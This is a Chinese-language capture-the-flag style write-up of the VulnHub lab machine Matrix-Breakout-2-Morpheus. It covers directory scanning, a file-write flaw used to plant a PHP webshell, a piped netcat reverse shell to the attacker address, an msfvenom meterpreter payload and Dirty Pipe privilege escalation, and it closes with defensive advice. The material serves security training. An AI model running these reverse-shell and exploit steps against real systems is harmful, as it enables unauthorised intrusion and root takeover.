vulnhub打靶日记day02之matrix-breakout-2-morpheus
字数 1355 2025-08-24 07:48:10
Matrix-Breakout-2-Morpheus 渗透测试实战教学文档
靶机概述
- 靶机名称: Matrix-Breakout-2-Morpheus
- 下载地址: VulnHub
- 攻击机IP: 10.10.10.129
- 靶机IP: 10.10.10.132
信息收集阶段
1. 网络扫描
nmap -sn 10.10.10.0/24 # 发现靶机IP
nmap -Pn -A -p- 10.10.10.132 # 全面扫描
扫描结果:
- 开放端口: 22(SSH), 80(HTTP), 81(HTTP)
2. Web服务枚举
80端口分析:
- 简单网页,包含一段文字和一张图片
- 查看源码未发现明显利用点
- 目录扫描初始未发现有用信息
81端口分析:
- 登录界面
- 尝试账号爆破和SQL注入未果
- 初始目录扫描无结果
3. 深入目录扫描
使用不同工具和字典进行扫描:
# 使用dirsearch扫描(初始方法不完整)
dirsearch -u http://10.10.10.132/ -w /usr/share/wordlists/dirbuster/apache-user-enum-1.0.txt -t 100 -o 1.txt
# 改进方法:使用gobuster并指定多种文件扩展名
gobuster dir -u http://10.10.10.132 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,jsp,aspx,asp,js
扫描发现:
/graffiti.txt- 存储用户输入/graffiti.php- 包含输入框的页面
漏洞利用阶段
1. graffiti.php分析
- 功能: 用户输入直接显示在页面上
- 存在存储型XSS漏洞
- 尝试PHP代码注入:
- 常规
<?php ?>标签被过滤(插入!--变为注释) - 尝试无
?的PHP标签:<script language="pHp">@eval(['a'])</script>(未成功)
- 常规
2. 请求分析
抓包发现两个参数:
message: 用户输入内容file: 默认为graffiti.txt
3. 文件写入漏洞利用
- 修改
file参数为graffiti.php并写入PHP代码 - 也可指定不存在的文件名,系统会创建新文件
- 使用蚁剑成功连接Webshell
权限提升阶段
1. 初始信息收集
whoami # 查看当前用户
ls -l /etc/passwd /etc/shadow # 查看关键文件权限
find / -perm -u=s -type f 2>/dev/null # 查找SUID文件
sudoedit -s / # 测试sudo提权
2. 反弹Shell技巧
由于靶机nc不支持-e参数,使用替代方法:
- 攻击机开启两个监听端口:
nc -lvp 4444
nc -lvp 5555
- 靶机执行:
nc 10.10.10.129 4444 | /bin/bash | nc 10.10.10.129 5555
- 4444端口输入命令
- 5555端口显示结果
3. 使用MSF进行提权
步骤1: 生成payload
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=10.10.10.129 lport=4444 -f elf > 4444.elf
上传到靶机/tmp目录并执行
步骤2: 使用提权辅助模块
use post/multi/recon/local_exploit_suggester
set session <session_id>
run
步骤3: 利用CVE-2022-0847(Dirty Pipe)提权
use exploit/linux/local/cve_2022_0847_dirtypipe
set session <session_id>
set payload linux/x64/meterpreter/reverse_tcp
set lhost 10.10.10.129
set lport 5555 # 使用不同端口
run
获取Flag
- 获得root权限后,在root目录下找到flag文件
关键知识点总结
-
目录扫描技巧:
- 必须指定文件扩展名(
-x参数) - 尝试多种字典和工具组合
- 注意扫描工具默认行为差异
- 必须指定文件扩展名(
-
文件写入漏洞利用:
- 参数篡改攻击(修改
file参数) - 绕过PHP标签过滤技巧
- 利用不存在的文件名创建新文件
- 参数篡改攻击(修改
-
反弹Shell替代方案:
- 管道方式:
nc | /bin/bash | nc - 适用于nc不支持
-e参数的情况
- 管道方式:
-
MSF提权流程:
- 生成定制payload
- 使用
local_exploit_suggester模块 - 选择合适的内核漏洞利用
-
Dirty Pipe漏洞(CVE-2022-0847):
- Linux内核漏洞(5.8-5.16.11)
- 允许覆盖任意只读文件
- 可用于提权和容器逃逸
防御建议
-
对于开发人员:
- 严格验证用户输入
- 限制文件写入操作的目标路径
- 禁用危险函数如
eval()
-
对于系统管理员:
- 及时更新内核和安全补丁
- 限制SUID/SGID文件数量
- 监控异常文件修改行为
-
通用安全措施:
- 实施最小权限原则
- 禁用不必要的服务和端口
- 定期进行安全审计和渗透测试